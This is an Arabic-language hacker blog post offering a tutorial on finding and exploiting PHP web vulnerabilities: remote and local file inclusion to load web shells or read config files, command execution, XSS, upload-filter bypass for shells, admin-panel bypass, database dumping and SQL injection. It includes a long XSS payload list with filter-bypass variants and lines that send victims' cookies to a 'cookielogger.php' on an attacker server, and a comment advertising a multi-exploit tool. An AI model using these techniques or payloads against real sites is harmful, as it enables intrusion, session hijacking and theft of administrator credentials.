جميع ثغرات ختراق المواقع 2016

alhurea112.blogspot.comRoMaNcYxHaCkEr 
 

 
About Find Exploits In php Scripts
# Contents:
1-Remote File Include
2-Local File Include (Remote File Disclosure)
3-Remote Sql Injection
4-Remote Command Execution
5-XSS (Cross Site Scripting)
6-Upload Shell
7-Dump Database
8-Bypass Admincp
 
 
 
 
 
 
# مقدمة بسيطة :
أعلم أن لغة php سهلة لكن تحتاج الى تحليل وفهم لكل دالة وعملها وفهم كل سطر ولماذا وضع هنا ولكي أبسط لك المسألة أعلم أن السكربت هو كالخريطة يدلك على الملفات بمعنى انه يقولك رح افتح الملف ذا اسحب منه كذا ثم السطر الثاني اذهب لقاعدة البيانات وقم بطباعة هذا الكلام على المتصفح ووو.....الخ
ونصيحة لك من الان كن محلل قبل ان تكون مبرمج وكاتب لملفات php افهم , بسط كل شي على حسب فهمك ودرجة تفكيرك , لا تقف عند تفكير معين , ان لم تعرف فاسئل واعلم اثنان لا يتعلمون المتكبر والخجول ...
هذا ما في قلبي وخاطري وقد طرحته لكم بسم الله نبدأ :
 
============================
 
Explaintion:
الشرح:
1-            الثغرات Remote File Include : اختصارها (RFI)
بداية أحب أتكلم عن هذا النوع من الثغرات ويقوم بسماح ادراج ملف بصيغة txt  او بصيغة jpg   ويستخدمه اغلب الهكر في ادراج الشل ليقوم بقراءة الملفات كمثال نأخذ مثال بسيط قبل ما نبدأ ونتطرق في الفحص ودوالها !!!
نتطرق في مثال كهذا ولنفترض اسمه example.php ويحتوي على الاكواد التالية :
<?php
$vuln = $_GET['rfi'];
include ($vuln);
?>
طيب نفصل ما حدث هنا بالتفصيل
تم التعريف على المتغير هنا بواسطة علامة $ $vuln ثم قام بطلبها بدالة  _GET ثم قام بادراج التعريف بدالة include  ثم انتهى الكود بمعنى انه لو اخذنا كلمة rfi وقمنا بادراجها بعد الملف سوف يقوم الملف بادراج اي ملف من خارج السيرفر نشوف مع بعض كما في الصورة قبل وبعد !!!
 
 
وبعد فتح المتغير !!! ودرجه بالشل !!!
ونقوم بربطه كما نشاهد الملف المصاب هذا مساره وموجود في الموقع في الصفحة الرئيسية كمثال هنا !!!
نقوم بادراجه مع المتغير والمتغير هو rfi ويكون الناتج في المحصلة النهائية
طيب يا شباب حلو الخطأ ما زال موجودا !!! نجرب ونأتي بأي رابط اخر من موقع اخر ونقوم بادراج اي ملف بصيغة txtكمثال لنجرب رابط الشل ونرى بعد ما نقوم بالادراج !!!
 
 
طيب الان اشتغل وعرفنا كيف تم تعريف دالة الانكلود بالمتغير وهكذا دعنا نأخذ تطبيق عملي !!!
عندنا هنا سكربت مليء باخطاء الريموت الفايل انكلود نشوف ونتابع
اسم السكربت worksystem اصداره 4.0.5 قمنا بتحميله من موقعه الرئيسي ونأتي الان في طريقة البحث نقوم بنسخ السكربت في مجلد www هنا كمثال اذا كنت مركب سيرفر appserver
 
 
الان نقوم بفتح الملف بالمفكره او ببرنامج NOTEPAD++ حلو لقراءة سورس لأي ملف يحدد لك الاسطر والدوال ايضا ويميزها لك بالوان وو.......الخ اكتب في الجوجل download notepad++ google وباذن الله ما بيقصر معك !!!
نفتح اي ملف ونشوف طبعا هذا السكربت مليء بثغرات الريموت فايل انكلود الان نجرب ونفتح ملف مصاب ونريكم اين الخطأ
طبعا دوال RFI غالبا الي تكون مصابة الدوال المفتوحة ويتليها متغير $ والدوال هي :
Include
Include_once
Require
Require_once
هذا الشائع في ثغرات الفايل انكلود لكن هناك يمكن بعض الاخطاء كما تكلمنا عنها فوق !!!
المهم لنمسك معنا ملف مصاب في السكربت ونشوف ونبحث عن اي دالة في الملف من خلاله !!!
 
 
كما تشاهدون هنا دالة include  قد تبعت بمتغير $ اوكي نفتحه بالمتصفح ونشوف !!!
 
 
ندخل على الملف ونشوف
 
نجرب نقوم باستدعاء ملف معين من خارج السيرفر او من داخله وبصيغة txt  ومن خلالها نقوم بادراج شل !!!
طيب كيف الحل ما عليك الان نجرب قلنا انه الرابط كان كذا تبع الخطأ
اوكي نقوم بالرجوع للاكواد ونرى الدالة المصابة ونشاهد !!
include($g_include."include_template_css_change_data.php");
لنشاهد المتغير g_include نرى انها قد تبعت $ لنجرب ونقوم باستدعاء من خلالها !!! ويكون الرابط كذا بربطها بعلامة الاستفهام !!
قمنا فقط بأخذ المتغير ووضعنا بعده علامة = الان نقوم بادراج الملف من الخارج من من موقع اخر او من اي موقع برابط شل بصيغة txt
ويكون الرابط كذا كالتالي
طبعا الموقع هذا http://127.0.0.1/c9999.txt هذا رابط موقعي ورافع عليه شلاتي الخاصة ولا تنسى علامة الاستفهام في الاخير
فتحنا الصفحة وشاهدوا !!!
 
 
قمنا بقراءة الشل وتم اكتشاف الثغرة في السكربت في الملف هذا نشوف دوال اخرى وملفات اخرى
على سكربت اخر ودالة اخرى في ملف اخر !!!
 
 
الصورة قبل الاستغلال والخطأ وبعد !!
 
الاستغلال بعد !!
 
 
وهكذا !!!
 
 
2-            ثغرات Local File Include اختصار لكلمة lfi او يطلق بمعنى اخر !! Remote File Disclosure :
هذا النوع من الثغرات شبيه بثغرات الريموت فايل انكلود لكن تسمح فقط بادراج وقراءة الملفات على السيرفر
<?php
readfile($lfi);
?>
 
كمثال هذا السورس المصاب بثغرة لوكال فايل انكلود بدالة readfile
وطبعا الدوال الخاصة لثغرات اللوكال فايل انكلود
file
readfile
show_source
fread
 
اخذنا مثال كدالة readfile وبالسورس السابق وقمنا بفتحه في المتصفح !!!
 
 
أدرجنا ما بعد $ بالمتغير في دالة readfile الي هو lfi وصار الرابط كالتالي !!
لم يظهر لنا شيء كما بالصورة نقوم بادراج اي ملف كمثال انا الان والملف indexx.php على هذا المسار !!
C:\AppServ\www
 
 
كما نشاهد الان بنحاول نقرأ ملف lol.php وبداخله رقم 1 كما تشاهدون في الصورة !!
 
 
ويكون التطبيق هكذا !! بما انه على نفس المسار !!!
 
 
نشاهد في الصورة هل ظهر السورس !!!
 
 
ملاحظة بسيطة حينما تقرأ أي ملف كونفق أو أي ملف مكتوب بلغة .php لا يظهر السورس بمعنى انه يجب الدخول على مصدر الصفحة للقراءة كمثال هنا !!!
 
 
أيضا ملاحظة أخرى وهو بالتطبيق العملي
معنا سكربت هنا بسيط جدا وحلو لكن مصاب بثغرة لوكال فايل انكلود ونشوف !!
 
 
نفتح الملف ونشاهد السورس ونشوف وين الخطأ وكيف الاستغلال !!
 
نفتح الملف من خلال المتصفح بعد تركيب السكربت وكل على حسب السكربت الموجود !!!
 
 
الان نطبق الاستغلال كما تكلمنا سابقا ننسخ الي بعد الدالة ونربطه مع الرابط وبينهم علامة استفهام ويصبح في الناتج كذا !!
طيب الان نريد قراءة الملفات من خلال الثغرة طيب اول شي نقراه الكونفق تبع السكربت أقرب شي لنا !!!
 
 
طيب وهذي هي الصورة !!!
 
 
ندخل المصدر ونشوف !!!
 
 
طيب عندي ملف هنا كمثال سواء كان في سيرفرات اللينكس او الويندوز نأخذها كمثال !!! للويندوز نبي نقرأ ملف اسمهc.txt موجود على مسار C:\AppServ\www\
طيب حنا على هذا المسار !!!
C:\AppServ\www\guestbook
اقولك ضع هذه العلامة ../ومعناها انك ترجع خلف للوراء مرة واحدة ثم اتبعها بالملف المطلوب وهكذا ويطلع الناتج كالتالي :
 
 
وهكذا وعلى ما اعتقد تعرفون في استغلال ثغرات لوكال فايل انكلود !!!
ملاحظة بسيطة في بعض الأحيان يظهر لك خطأ ويوجد خطأ بالفعل تقولون وين الغلط فقط قم باضافة 
وان شاء الله تشتغل ... !!!!
 
لترقيع الثغرتين فوق عندك على حسب الدوال لكن قم بتعريف المتغير فوق بعلامة ./ بمعنى انه اذا قمت بتطبيق المتغير يظهر معك فراغ !!
ويكون الترقيع هكذا كمثال !!!
<?php
$RxH = "./";
include("$RxH" . "index.php");
?>
 
ملاحظة :
الكثير منكم يأتي ويقول الدالة فعلا موجودة ووو...الخ لكن لم يتتبع الاكواد بالكامل كمثال في دالة fread الان يتم ترقيعها وارفاقها بدالة fclose وهكذا !!!
 
3-            ثغرات remote command execution واختصارها يمكن ان يكون cmd :
هذا النوع من الثغرات يسمح لك بتطبيق الاوامر على السيرفر وكل على حسب السيرفر يعني اذا كان سيرفرك ويندوز طبق اوامر الدوس واذا كان السيرفر لينكس طبق اوامر الشل اكونت وهكذا !!! واكيد الكل عارف للاوامر اوكي !!!
الدوال الخاصة بهذا النوع من الثغرات !!:
system
exec
shell_exec
popen
proc_open
passthru
المنتشرة الان في الوقت الحاضر دالة exec  و  system نأخذ ملف مصاب وكود بسيط كالتالي !!
<?php
system($cmd);
?>
يكون الملف المصاب كمثال هكذا !!!
Indexx.php  يكون التطبيق كالتالي وبعد ادراج المتغير بعد الملف وربطهم بعلامة استفهام :
يكون الخطأ الظاهر كالتالي وعلى حسب الدالة !!!
 
 
نطبق أي أمر وبما أنه سيرفري ويندوز نطبق أمر dir الي يقوم باستعراض الملفات والمجلدات !!! ونضعها بعد علامة = ليكون الرابط النهائي هكذا !!!
نشاهد الصورة !!!
 
 
وهكذا على الدوال الأخرى
 
 
4-            XSS اختصار لكلمة CROSS SITE SCRIPT :
طبعا هذا النوع من الثغرات يسمح لك بادراج اكواد جافا سكربت واكواد htm من خلالها تسطتيع سرقة كوكيز الادمن
اوكي لنرى كيف يتم اكتشفها نقوم بوضع اكواد وملف مبسط لشرحه هنا وبهذه الأكواد في ملف indexx.php
<?php
print $_GET['XSS'];
?>
طيب ندخله من المتصفح ونشوف !!!
 
 
الان نقوم بادراج المتغير الي معنا كمثال في الرابط وربطه مع الملف ويصبح الرابط هكذا !!!
 
 
ثم نستغل هذا الخطأ وكما قلنا سابقا نقوم بوضع كود جافا للتاكد من الثغرة وهذا هو الكود للتنبيه ونطبقه
<script>alert(1)</script>
نقوم بالربط مع الرابط الي فوق ويصبح الرابط هكذا !!
 
كما تشاهدون في هذه الصورة !!
 
 
قمنا بتطبيق كود جافا وهذي بعض اكواد الجافا في تطبيقها واستغلالتها وايضا البعض منها في تخطي الفلاتر هنا :
 
<script>alert("RxH")</script>
'><script>alert("RxH")</script>
='><script>alert("RxH")</script>
<script>alert(RxH)</script>
%3Cscript%3Ealert('RxH')%3C/script%3E
%0a%0a<script>alert(\"RxH\")</script>.jsp
%22%3cscript%3ealert(%22RxH%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22RxH%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22RxH%22)%3c/script%3e
%3cscript%3ealert(%22RxH%22)%3c/script%3e/index.html
<script>alert('RxH')</script>
a.jsp/<script>alert('RxH')</script>
<script>alert("RxH")</script>
a?<script>alert('RxH')</script>
"><script>alert('RxH')</script>
%22%3E%3Cscript%3Ealert("RxH")%3C/script%3E
%3Cscript%3Ealert(RxH);%3C/script%3E&
%3Cscript%3Ealert(RxH);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
<SCRIPT>a=/XSS/alert(RxH)</SCRIPT>
<STYLE>@im\port'\ja\vasc\ript:alert("RxH")';</STYLE>
getURL("javascript:alert('RxH')")
a="get";b="URL";c="javascript:";d="alert('RxH');";eval(a+b+c+d);
<SCRIPT>document.write("RxH");</SCRIPT>
<SCRIPT>windows.open("http://www.google.com")</SCRIPT>
 
 
 
 
 
 
 
 
<html><body><IMG SRC="http://site.com/yourDefaceIMAGE.png"></body></html>
document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie
window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie
 
 
 
<script type=text/javascript>alert("t0pP8uZz")</script>
<script>alert("t0pP8uZz")</script>;
<script>alert("t0pP8uZz");</script>
<script>alert("/t0pP8uZz"/)</script>
<script>var var = 1; alert(var)</script>
 
 
<script>alert(String.fromCharCode(116, 48, 112, 80, 56, 117, 90, 122))</script>
 
 
 
 
<script>var myVar = 1; alert(myVar)</script>
 
 
 
وهكذا !!!
 
ترقيع الثغرة يكون بدالتين معروفة لدى الجميع الي هي :
 
htmlentities
 
htmlspecialchars
 
ويكون الترقيع كالتالي :
 
باضافتها بعد دالة print ليكون الكود كالتالي !!
<?php
print htmlspecialchars($_GET['XSS']);
?>
نجرب ونطبق نشوف هل بيظهر التحذير ويتطبق كود الجافا كما في السابق نشاهد في الصورة !!!
 
 
انتهينا من ثغرات XSS
 
 
5-            Upload Shell Or Bypass Upload Shell كلها تحمل نفس المعنى :
هذا النوع من الثغرات يسمح لك برفع ملف تلغيم بكود php ثم تقوم باستغلاله او يسمح لك برفع شل بصيغته او يسمح لك برفع شل بصيغ اخرى وبالامكان من خلالها خدع مركز التحميل بشرط ان تكون الصيغة غير معروفة لئلا تأتي عبر المتصفح كتحميل كمثال في صيغ rar وصيغ .wmv و صيغ jpg تسمح لنا بخداع مركز التحميل هكذا !!!
Shell.php.rar فقط نقوم تغيير الاسم من خلال المفكرة بهذه الطريقة :
 
 
ممكن ان نكتشف الثغرة طبعا اذا كان بسكربت  upload خاص لرفع الملفات أو البوم صور أو حتى كان منتدى او اي سكربت دامك تشوف ذا الخيار تبع الرفع جرب كل طرقك المحتملة ^_*
 
 
أول شي جرب بالاسهل الي هو php ثم رح لباقي الصيغ ويختلف من مركز تحميل عن اخر على حسب الامتدادات المطلوبة والمسموحة في الرفع !!!
 
 
الان ونرى ونشاهد رابط الشل كما نشاهد في الصورة !!
 
ندخل عليه ونشوف !!!
 
 
نجرب ونرفع الصيغ الاخرى ويفتحون معنا نجرب !!!
 
 
 
 
ملاحظة بعض الأحيان تواجهك مشاكل الي هي يشترط مركز الرفع مساحة صغيرة لا تتعدى حد معين طيب الشل حجمه كبير وش الدبرة !!!
طيب جرب حط اي كود تلغيم او اي كود كوماند مثل الي هنا كمثال مبسط
<?php
System($cmd);
?>
ثم قم بتطبيقها كثغرة كومااند وهكذا !!!
ايضا تواجهك مشاكل في بعض الاحيان وهو ما تدري وين انرفع الملف وانا اقولك على حسب كمثال لو كان منتدى او مجلة وشفت مركز رفع مثل الصور ورفعتها ارجع لمكان الصورة واضغط عليها الزر الايمن ثم خصائص وترى الرابط بالكامل مثال هنا كما في الصورة بعد رفع الشل !!!
 
 
نضغط على مكان x بالزر الأيمن ثم خصائص ونشاهد الرابط او مسار الرفع كما في الصورة
 
 
 
 
 
6-            ثغرات bypass admin control panal :
هذه النوع من الثغرات يسمح لك تجاوز لوحة التحكم تبع الادمن وبالامكان من خلالها تخطي الصفحة التي تطلب منك اسم مستخدم وباسورد !!!
كمثال هنا عندنا سكربت اسمه site_builder_v0_1beta
طيب نفتحه بعد التثبيت ونشوف !!!
 
 
ندخل للوحة التحكم والي مسارها كالتالي :
 
 
كمثال عندنا ملف هنا اسمه home.php في مجلد admin شاهد في الصورة !!!
 
 
شاهدوا الصورة :
 
 
 
7-            Remote Dump Database :
 
هذا النوع من الثغرات وهو خاص لسحب باك اب للسكربت من خلال ملف سواء كان في مجلد الادمن او من اي مجلد وظيفته يقوم بسحب المعلومات من جداول قاعدة البيانات ومن خلالها سحب معلومات الموجودة في users وهكذا ....
توضيحا لنوع الثغرة هذي تذكرون اصدارات vb 3.6.5 الي كان بامكانك سحب معلومات اليوزر من مجلدinstall/finalupgrade.php
تدخل عليه من المتصفح ويدخلك على الترقية وسحب معلومات الادمن !!! وهكذا على حسب انواع السكربت وعلى مكان تواجد هذا الملف الا انه غالبا ما تجده مكشوفا في هذه الاخطاء وخصوصا انه قد اضيف هذا الملف وادرج تحت لوحة التحكم تبع السكربت الي هي admin ومن خلال تقنية session حتى لو قمت بالدخول على الملف من مساره لا يمكن سحب اي شي من اللوحة الا بعد ادخال معلومات admin وهكذا
نأخذ تطبيق كمثال على سكربت هنا ونشوف :
 
حينما تقوم بتثبيت سكربت معين !!! يطلب منك رفع .sql  الملف الي يحتوي على الاوامر المعينة ويقوم من خلالها برفعها الى phpmyadmin ثم من خلال ذلك يقوم بالاتصال مع الكونفق وعمل السكربت كما تشاهدون في الصورة هذا مثال بسيط !!
 
 
فكرة هذه الثغرة تقوم بعكس العملية بمعنى انه نقوم بسحب كل ما يتعلق في الجداول بمعنى اخر وبمفهومك اخذ باك اب للسكربت الموجود ومن خلالها سوف نقوم بقراءة معلومات الادمن كمثال هنا عندنا ملف مأخوذ من قاعدة بيانات vb ونتابع
 
 
نشاهد الان بعد ان دخلنا على ملف سحب قواعد البيانات المطلوبة ونشاهد !!!
 
 
وهكذا !!!
 
طبعا ملاحظة بسيطة :
 
أغلب أسماء الملفات تبع الباك اب يختلف مسارها لكن غالبا ما تكون في مجلد admin  او اذا كان ملف install موجودا يكون من هناك وهكذا اما عن اسماء الملفات فغالبا ما يطلق عليها backup.php او  upgrade.php او getbackup.phpكما قلت سابقا يعتمد على حسب مبرمج السكربت وتسمية ملفاته .
 
أيضا ملاحظة اخرى :
 
قد تقوم بسحب باك اب ليس له فائدة واجعل تركيزك على جدول user  والبحث عن اسمه والباسورد وغالبا وفي بعض الاحيان يكون الباسورد جاهز بدون تشفير .
هذا ما يتعلق بهذا النوع من الثغرات
8-            Remote SQL Injection :
 
طبعا هذه الثغرة انتشرت بشكل فضيع في هذه السنة وايضا كثرت ثغرات sql وقد اسقطت مواقع كبرى من خلال هذا النوع من الثغرات والسبب لانه اغلب مبرمجين لغة php   بدأوا يكتبون سكربتاتهم بدوال sql والاتصال مع قواعد البيانات وتركوا الطريقة القديمة التي تطبق من خلال دوال الانكلود وادراج الملفات وتطبيق الاوامر وهكذا لكن ليس بالمعنى انهم استغنوا عنها لكن قد قل استخدامها لذا انا اشاهد ان هذا النوع من الثغرات جدا خطير لانه تعتمد الثغرة هذي على سحب جداول اليوزرات ويمكن ايضا من خلالها قرائة الملفات وهكذا لكن هذا ليس موضوعنا في استغلالها وانما كيف يتم اكتشاف ثغرات sql?
 
من خلال الاكواد تجدها صعبة !!!! بتقولي ليش؟!! انا اقولك لانه كل سكربت تختلف متغيراته لنأخذ معا كأمثلة ونشاهد !!
 
تشاهدون معي بالصورة !!!
 
ايضا سطر اخر هنا بالاتصال مع قاعدة البيانات !!!
 
 
 
الفكرة هي انك تقوم بسحب معلومات اليوزر وتطبيق بعض الدوال في المتغير طبعا بعد ادخال قيمة غريبة مثل -1 او هذه العلامة ' فيظهر لنا خطأ يخبرنا بأن هناك خطأ في قواعد البيانات طبعا استغلالها يكون باضافة union ثم يأتي بعدهاselect ثم الخانات المخمنة التي يمكن من خلالها سحب قواعد البيانات الى ينتهي بالامكان وضع ترقيم من الصفر حتى يختفي الخطأ ويظهر لنا اي رقم من الارقام التي وضعناها 0,1,2,3,4,5,6,7 وظهر لنا رقم 4 في المتصفح معنى ذلك بامكاننا من خلال رقم 4 وضع اي عمود هناك وهكذا على كل سوف ارفق لكم شرح فيديو مني يتكلم اكثر ويبسط هذا المفهوم من خلاله
هذه الثغرة لا تقتصر على كلامي ولا على كلام الكثير ولكن مهما قمنا بالتكلم عنها فلن ننتهي وهذا الشرح الفيديو على هذا الرابط
http://www.mediafire.com/?axdvn1mcbnz
ولكن باذن الله سوف انزل كتاب قادم باذن الله عن ثغرات SQL وخفاياها واستغلالتها وايضا انواع قواعد البيانات وعلاقتها مع هذه الثغرة
 
 
أتمنى أنكم استفدتم من هذا الكتاب المبسط وهذا لا يعني الاقتصار على كلامي فحسب لكن ابحث وفكر وسوف تجد .................

شاركه على جوجل بلس

عن hussein emad

    تعليقات بلوجر
    تعليقات فيسبوك

1 التعليقات:

  1. 17 Exploit in one tool (Private ) 2016 -0day
    اداة لستغلال 17 ثغرة لسكربت جوملا و ورد برس و دروبال
    https://www.youtube.com/watch?v=MUxwepM2qYk

    ردحذف